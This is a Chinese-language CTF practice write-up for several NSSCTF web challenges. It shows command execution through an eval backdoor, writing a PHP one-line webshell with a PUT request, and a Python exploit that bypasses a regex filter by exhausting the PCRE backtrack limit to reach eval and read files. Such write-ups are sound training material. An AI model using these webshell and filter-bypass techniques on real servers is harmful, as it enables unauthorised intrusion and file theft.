NSSCTF题目练习

[羊城杯 2020]easycon

御剑扫到2个相关,访问url/index.php跳转到

之后出现

那个弹窗eval post cmd应该是提示,

果然,可以执行命令,我们cmd=system(“cat b*”);

发现出现一堆编码,猜测是base64转图片。转换得到flag

[NSSRound#1 Basic]basic_check

bp抓包,改请求方式为PUT,写个一句话木马

发现1.php被写入成功

回到网页访问,执行命令

##[MoeCTF 2022]ezhtml

查看页面源代码,在evil.js文件里发现flag

[NISACTF 2022]middlerce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

这题炸似一看很简单,一道rce罢了,试了试,难以言说。。。。。

这道题需要用到prce回溯,正则匹配的回溯次数按英文版来最大此时是100万,就是说,正则匹配,匹配100万次后,便不再匹配,可以看这片文章https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

后面还有一个json_decode解码

1
$command = json_decode($txw4ever,true)['cmd'];

本地测试一下

1
2
3
4
5
6
<?php
$a='{"cmd":"111111"}';
$command = json_decode($a,true)['cmd'];
var_dump($command);
//string(6) "111111"

就是解码之后会返回cmd所对应的字符串

1
2
3
4
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("node4.anna.nssctf.cn:28390", data={"letter":payload})
print(res.text)